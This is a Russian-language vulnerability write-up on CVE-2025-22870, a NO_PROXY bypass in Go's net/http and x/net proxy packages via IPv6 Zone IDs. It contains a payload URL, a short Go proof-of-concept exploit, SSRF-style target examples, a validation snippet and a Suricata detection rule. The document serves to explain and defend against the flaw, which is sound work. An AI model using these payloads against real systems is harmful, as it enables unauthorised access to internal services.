Уязвимость пакетов net/http, x/net/proxy и x/net/http/httpproxy в Go
Уязвимость пакетов net/http, x/net/proxy и x/net/http/httpproxy в Go
Категория: Программы Теги: Уязвимости Опубликовано: 30 июня 2025

Уязвимость BDU:2025-02476 (CVE-2025-22870) Go

Уязвимость BDU:2025-02476 (CVE-2025-22870) в пакетах net/httpx/net/proxy и x/net/http/httpproxy языка Go (BDU:2025-02476, CVE-2025-22870) позволяет злоумышленнику обойти ограничения прокси-сервера через некорректную обработку IPv6 Zone ID в NO_PROXY-правилах. Это приводит к несанкционированному доступу к внутренним ресурсам.


Анализ уязвимости

Уровень опасности: 4.4 MEDIUM

Вектор атаки: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L

  • AV:L (Attack Vector): Локальный – Атака требует локального доступа к системе.

  • AC:L (Attack Complexity): Низкая – Эксплуатация не требует сложных условий.

  • PR:L (Privileges Required): Низкие привилегии – Достаточно базовых прав пользователя.

  • UI:N (User Interaction): Не требуется – Атака не требует взаимодействия с пользователем.

  • S:U (Scope): Не оказывает влияния на другие компоненты – Уязвимость ограничена целевым приложением.

  • C:L (Confidentiality): Частичная компрометация – Возможна утечка конфиденциальных данных.

  • I:N (Integrity): Без последствий – Целостность данных не нарушается.

  • A:L (Availability): Частичное снижение доступности – Возможны ограниченные DoS-эффекты.


Условия эксплуатации

  1. Среда:

    • Приложение на Go версий 1.23.x (<1.23.7) или 1.24.0–1.24.1.

    • Использование переменных окружения HTTP_PROXY/NO_PROXY (например, NO_PROXY=*.example.com).

  2. Доступ:

    • Локальное размещение эксплоита или SSRF-доступ к уязвимому сервису.

  3. Конфигурация:

    • Прокси-сервер, фильтрующий запросы к внутренним доменам через NO_PROXY.


Технический анализ эксплоита

Рассмотрим код эксплоита для понимания работы вектора атаки с использованием этой уязвимости.

Payload

GET http://[::1%25.example.com]:7777 HTTP/1.1  
  • ::1 – IPv6-адрес (localhost).

  • %25 – URL-кодированный символ % (разделитель Zone ID в IPv6).

  • .example.com – Домен, разрешенный в NO_PROXY.

Уязвимый код httpproxy ошибочно интерпретирует ::1%25.example.com как поддомен *.example.com, пропуская запрос напрямую, минуя прокси.

Код эксплоита (CVE-2025-22870.go)

package main

import (
    "fmt"
    "io"
    "net/http"
    "os"
)

func main() {
    os.Setenv("HTTP_PROXY", "http://127.0.0.1:8080")  // Указание прокси
    os.Setenv("NO_PROXY", "*.example.com")             // Правило обхода прокси

    client := &http.Client{}                           // HTTP-клиент с настройками прокси

    // Отправка запроса к [::1] с Zone ID ".example.com"
    resp, err := client.Get("http://[::1%25.example.com]:7777")
    if err != nil {
        fmt.Println("Error:", err)
        return
    }
    defer resp.Body.Close()

    body, _ := io.ReadAll(resp.Body)                   // Чтение ответа
    fmt.Println(string(body))                          // Вывод данных (утечка информации)
}

Разбор:

  1. Установка NO_PROXY=*.example.com должна блокировать проксирование для example.com.

  2. Запрос к [::1%25.example.com] обходит это правило из-за ошибки парсинга:

    • Библиотека извлекает хост как ::1%25.example.com, трактуя %25.example.com как часть Zone ID.

    • Домен ошибочно сопоставляется с шаблоном *.example.com.

  3. Результат: запрос к localhost:7777 отправляется напрямую, а не через прокси.


Последствия эксплуатации

  1. Обход сетевых ограничений:

    • Доступ к внутренним сервисам (базы данных, панели управления, API).
      Пример: Запрос к http://[::1%25.internal]:5432 может получить доступ к PostgreSQL.

  2. SSRF-атаки:

    • Чтение конфиденциальных данных с localhost (например, http://[::1%25.attacker.com]/admin).

  3. Сканирование сети:

    • Обход прокси для доступа к ресурсам в защищенных сегментах (порты 22, 80, 8080).

  4. DoS-воздействие:

    • Флудинг запросами к внутренним сервисам (например, уязвимым HTTP-серверам).


Способы защиты

  1. Обновление Go:

    • Версии ≥1.23.7 или ≥1.24.2.

  2. Валидация входных данных:

    • Отклонять запросы с IPv6 Zone ID в доменной части:

    if strings.Contains(host, "%") {
        return errors.New("invalid host: IPv6 zone ID not allowed")
    }
  3. WAF-правила (модель Suricata):

    alert http any any -> any any (  
       msg:"CVE-2025-22870: IPv6 Zone ID Proxy Bypass Attempt";  
       flow:established,to_server;  
       http.uri;  
       content:"%25"; fast_pattern;  
       content:"]"; distance:0;  
       metadata:policy security-ips;  
       sid:202502476;  
       rev:1;  
    )

    Логика: Блокировка URL, содержащих %25 (кодированный %) перед закрывающей скобкой ].

  4. Ограничение зоны действия NO_PROXY:

    • Использовать явные IP-адреса вместо шаблонов (NO_PROXY="127.0.0.1, ::1").


Приложения под угрозой

Библиотеки net/http и x/net/httpproxy используются в:

  • Веб-серверах (Traefik, Caddy).

  • Микросервисах на Go (Kubernetes-операторы, API-гейтвеи).

  • CLI-утилитах с сетевым функционалом (Docker, Terraform).


Заключение

Уязвимость актуальна для изолированных сред (например, контейнеры), где злоумышленник может развернуть эксплоит. Критична для систем, использующих NO_PROXY для защиты внутренних ресурсов. Рекомендуется срочное обновление Go и мониторинг HTTP-запросов с IPv6 Zone ID.

Алексей Черемных Алексей Черемных
48